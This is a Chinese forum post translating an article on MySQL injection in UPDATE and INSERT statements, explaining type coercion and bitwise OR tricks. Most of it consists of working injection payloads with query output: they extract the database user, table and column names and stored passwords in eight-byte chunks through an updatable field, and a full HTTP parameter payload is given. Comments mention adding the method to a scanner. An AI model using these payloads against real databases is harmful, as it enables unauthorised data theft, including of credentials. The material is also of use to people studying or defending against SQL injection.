【技术讨论】Mysql注入的一种思路

场景

请求场景如下:

$query = "UPDATE users SET username ='$username' WHERE id = '$id';";

请求参数如下:

username=test&id=16

下面我们来看看mysql 的一些处理规则

mysql>select 'test' =0; +-----------+ |   'test'=0 | +-----------+ |            1 | +-----------+
mysql>select !'test'; +---------+ |     !'test'| +---------+ |          1 | +---------+

如果我们将数字和字符串进行相加

mysql>select 'test' + 123; +--------------+ |  'test' +123 | +--------------+ |            123 | +--------------+

如果我们加一个长整型数字呢?

mysql>select 'test' + ~0; +-----------------------+ |     'test' +~0           | +-----------------------+ |1.8446744073709552e19 | +-----------------------+

这意味着一个字符类型的返回了一个double型的结果,我们再试试

mysql>select ~0 + 0e0; +-----------------------+ | ~0 +0e0                | +-----------------------+ |1.8446744073709552e19 | +-----------------------+  mysql>select (~0+0e0) = ('test' + ~0) ; +--------------------------+ | (~0+0e0)= ('test' + ~0) | +--------------------------+ |                               1 | +--------------------------+

我们现在知道返回的字符串值实际上是一个double类型。一个较大的值会导致返回结果为double双精度。要解决这个问题我们按位进行或运算。

mysql>select 'test' | ~0; +----------------------+ | 'test' |~0               | +----------------------+ |18446744073709551615 | +----------------------+

完美,我们得到了一个最大的无符号64位的BIGINT值。现在,我们可以确定通过执行按位或来得到最终的值,这个值应该小于一个长整型数字,因为不能超过64位。


利用思路

字符串->十六进制- >小数

mysql>select conv(hex(version()), 16, 10); +------------------------------+ |conv(hex(version()), 16, 10)  | +------------------------------+ |58472576988216           | +------------------------------+

十进制->十六进制- >字符串

mysql>select unhex(conv(58472576987956, 10, 16)); +-------------------------------------+ |unhex(conv(58472576987956, 10, 16)) | +-------------------------------------+ |5.5.34                                      | +-------------------------------------+

这里有个问题,如果值过大,就会变成0xffffffffffffffff。我们可以利用substr()函数,来截取,最后在拼接。

思路如下:

selectconv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);  mysql>select conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10); +--------------------------------------------------------+ |conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10) | +--------------------------------------------------------+ | 8245931987826405219                                    | +--------------------------------------------------------+ mysql>select conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10); +--------------------------------------------------------+ |conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10) | +--------------------------------------------------------+ |107118236496756                                        | +--------------------------------------------------------+

最终利用:

mysql>select concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10, 16))); +----------------------------------------------------------------------------------------+ |concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756,10, 16))) | +----------------------------------------------------------------------------------------+ |root@localhost                                                                        | +----------------------------------------------------------------------------------------+

获取表名:

selectconv(hex(substr((select table_name from information_schema.tables wheretable_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);

获取列名:

selectconv(hex(substr((select column_name from information_schema.columns wheretable_name='Name of your table' limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);

update语句:

updateemails set email_id='test'|conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)),16,10) where id='16'; 

Insert语句:

insertinto users values (17,'james', 'bond'); 

利用如下

insertinto users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8 *n)),16, 10); 

获取数据:

updateusers set username = 'test'| conv(hex(substr((select password from (select *from users) as x limit 0,1 ) ,1 + (1-1) * 8, 8 * 1)),16, 10) where id='16'; 

上面的例子可以这样利用:

Payload= name=test'| conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16, 10) whereid=16;&id=16

数据库执行语句:

updateusers set username = 'test' | conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16,10) where id=16;' where id = '16';

mysql>select unhex(conv(8245931987826405219, 10, 16)); +------------------------------------------+ |unhex(conv(8245931987826405219, 10, 16)) | +------------------------------------------+ |root@loc                                | +------------------------------------------+

备注:MySQL5.7以后版本利用起来可能有限制,这个取决于sql-mode的设置,但不影响int型。

本文为简单翻译,原文:https://osandamalith.com/2017/02/08/mysql-injection-in-update-insert-and-delete/

你是原创演绎的作者么?文章好像没发全哦  
和作者沟通了,是翻译文章,分享了一个点。  这思路,已经准备加入豪华扫描套餐中。
Mark

技术交流QQ群: 397745473
来自:https://xianzhi.aliyun.com/forum/read/729.html?fpage=7

评论

此博客中的热门博文

【漏洞研究】[渗透测试]滲透Facebook的思路與發現

【技术讨论】使用apache mod_rewrite方法随机提供payloads